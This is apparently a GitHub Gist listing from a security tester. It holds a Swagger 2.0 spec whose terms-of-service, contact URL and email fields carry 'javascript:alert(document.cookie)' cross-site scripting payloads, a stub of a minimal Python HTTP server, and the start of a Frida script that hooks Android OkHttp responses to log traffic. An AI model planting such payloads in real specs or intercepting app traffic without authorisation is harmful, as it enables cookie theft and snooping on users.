Skip to content

Instantly share code, notes, and snippets.

swagger: "2.0",
info:
title: "Swagger Sample App",
description: "Please to click Terms of service"
termsOfService: "javascript:alert(document.cookie)"
contact:
name: "API Support",
url: "javascript:alert(document.cookie)",
email: "javascript:alert(document.cookie)"
version: "1.0.1"
@llamaonsecurity
llamaonsecurity / dummy-web-server.py
Last active April 27, 2018 13:05 — forked from bradmontgomery/dummy-web-server.py
a minimal http server in python. Responds to GET, HEAD, POST requests, with content of the file.
#!/usr/bin/env python
"""
Very simple HTTP server in python.
Usage::
./dummy-web-server.py [<port>] [<file_to_serve>] [<content_type>]
Send a GET request::
curl http://localhost -v
Send a HEAD request::
curl -I http://localhost -v
Send a POST request::
@llamaonsecurity
llamaonsecurity / frida-hybrid-peek-android-okhttp.js
Last active July 21, 2023 11:05
Frida script - Peek http req/res
Java.perform(function() {
var res2 = Java.use('com.android.okhttp.Response$Builder');
res2.build.implementation = function() {
var response = this.build();
console.log(response.headers())
//console.log(response.message())
var rBody = response.body();